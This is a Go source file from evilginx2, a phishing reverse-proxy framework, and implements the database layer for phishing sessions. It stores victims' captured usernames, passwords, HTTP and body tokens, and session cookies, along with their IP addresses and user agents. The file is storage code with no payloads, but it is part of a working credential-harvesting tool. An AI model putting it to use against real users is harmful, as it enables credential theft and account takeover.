evilginx2/database/db_session.go
2023-05-10 11:04:32 +02:00

226 lines
5.6 KiB
Go

package database
import (
"encoding/json"
"fmt"
"time"
"github.com/tidwall/buntdb"
)
const SessionTable = "sessions"
type Session struct {
Id int `json:"id"`
Phishlet string `json:"phishlet"`
LandingURL string `json:"landing_url"`
Username string `json:"username"`
Password string `json:"password"`
Custom map[string]string `json:"custom"`
BodyTokens map[string]string `json:"body_tokens"`
HttpTokens map[string]string `json:"http_tokens"`
CookieTokens map[string]map[string]*CookieToken `json:"tokens"`
SessionId string `json:"session_id"`
UserAgent string `json:"useragent"`
RemoteAddr string `json:"remote_addr"`
CreateTime int64 `json:"create_time"`
UpdateTime int64 `json:"update_time"`
}
type CookieToken struct {
Name string
Value string
Path string
HttpOnly bool
}
func (d *Database) sessionsInit() {
d.db.CreateIndex("sessions_id", SessionTable+":*", buntdb.IndexJSON("id"))
d.db.CreateIndex("sessions_sid", SessionTable+":*", buntdb.IndexJSON("session_id"))
}
func (d *Database) sessionsCreate(sid string, phishlet string, landing_url string, useragent string, remote_addr string) (*Session, error) {
_, err := d.sessionsGetBySid(sid)
if err == nil {
return nil, fmt.Errorf("session already exists: %s", sid)
}
id, _ := d.getNextId(SessionTable)
s := &Session{
Id: id,
Phishlet: phishlet,
LandingURL: landing_url,
Username: "",
Password: "",
Custom: make(map[string]string),
BodyTokens: make(map[string]string),
HttpTokens: make(map[string]string),
CookieTokens: make(map[string]map[string]*CookieToken),
SessionId: sid,
UserAgent: useragent,
RemoteAddr: remote_addr,
CreateTime: time.Now().UTC().Unix(),
UpdateTime: time.Now().UTC().Unix(),
}
jf, _ := json.Marshal(s)
err = d.db.Update(func(tx *buntdb.Tx) error {
tx.Set(d.genIndex(SessionTable, id), string(jf), nil)
return nil
})
if err != nil {
return nil, err
}
return s, nil
}
func (d *Database) sessionsList() ([]*Session, error) {
sessions := []*Session{}
err := d.db.View(func(tx *buntdb.Tx) error {
tx.Ascend("sessions_id", func(key, val string) bool {
s := &Session{}
if err := json.Unmarshal([]byte(val), s); err == nil {
sessions = append(sessions, s)
}
return true
})
return nil
})
if err != nil {
return nil, err
}
return sessions, nil
}
func (d *Database) sessionsUpdateUsername(sid string, username string) error {
s, err := d.sessionsGetBySid(sid)
if err != nil {
return err
}
s.Username = username
s.UpdateTime = time.Now().UTC().Unix()
err = d.sessionsUpdate(s.Id, s)
return err
}
func (d *Database) sessionsUpdatePassword(sid string, password string) error {
s, err := d.sessionsGetBySid(sid)
if err != nil {
return err
}
s.Password = password
s.UpdateTime = time.Now().UTC().Unix()
err = d.sessionsUpdate(s.Id, s)
return err
}
func (d *Database) sessionsUpdateCustom(sid string, name string, value string) error {
s, err := d.sessionsGetBySid(sid)
if err != nil {
return err
}
s.Custom[name] = value
s.UpdateTime = time.Now().UTC().Unix()
err = d.sessionsUpdate(s.Id, s)
return err
}
func (d *Database) sessionsUpdateBodyTokens(sid string, tokens map[string]string) error {
s, err := d.sessionsGetBySid(sid)
if err != nil {
return err
}
s.BodyTokens = tokens
s.UpdateTime = time.Now().UTC().Unix()
err = d.sessionsUpdate(s.Id, s)
return err
}
func (d *Database) sessionsUpdateHttpTokens(sid string, tokens map[string]string) error {
s, err := d.sessionsGetBySid(sid)
if err != nil {
return err
}
s.HttpTokens = tokens
s.UpdateTime = time.Now().UTC().Unix()
err = d.sessionsUpdate(s.Id, s)
return err
}
func (d *Database) sessionsUpdateCookieTokens(sid string, tokens map[string]map[string]*CookieToken) error {
s, err := d.sessionsGetBySid(sid)
if err != nil {
return err
}
s.CookieTokens = tokens
s.UpdateTime = time.Now().UTC().Unix()
err = d.sessionsUpdate(s.Id, s)
return err
}
func (d *Database) sessionsUpdate(id int, s *Session) error {
jf, _ := json.Marshal(s)
err := d.db.Update(func(tx *buntdb.Tx) error {
tx.Set(d.genIndex(SessionTable, id), string(jf), nil)
return nil
})
return err
}
func (d *Database) sessionsDelete(id int) error {
err := d.db.Update(func(tx *buntdb.Tx) error {
_, err := tx.Delete(d.genIndex(SessionTable, id))
return err
})
return err
}
func (d *Database) sessionsGetById(id int) (*Session, error) {
s := &Session{}
err := d.db.View(func(tx *buntdb.Tx) error {
found := false
err := tx.AscendEqual("sessions_id", d.getPivot(map[string]int{"id": id}), func(key, val string) bool {
json.Unmarshal([]byte(val), s)
found = true
return false
})
if !found {
return fmt.Errorf("session ID not found: %d", id)
}
return err
})
if err != nil {
return nil, err
}
return s, nil
}
func (d *Database) sessionsGetBySid(sid string) (*Session, error) {
s := &Session{}
err := d.db.View(func(tx *buntdb.Tx) error {
found := false
err := tx.AscendEqual("sessions_sid", d.getPivot(map[string]string{"session_id": sid}), func(key, val string) bool {
json.Unmarshal([]byte(val), s)
found = true
return false
})
if !found {
return fmt.Errorf("session not found: %s", sid)
}
return err
})
if err != nil {
return nil, err
}
return s, nil
}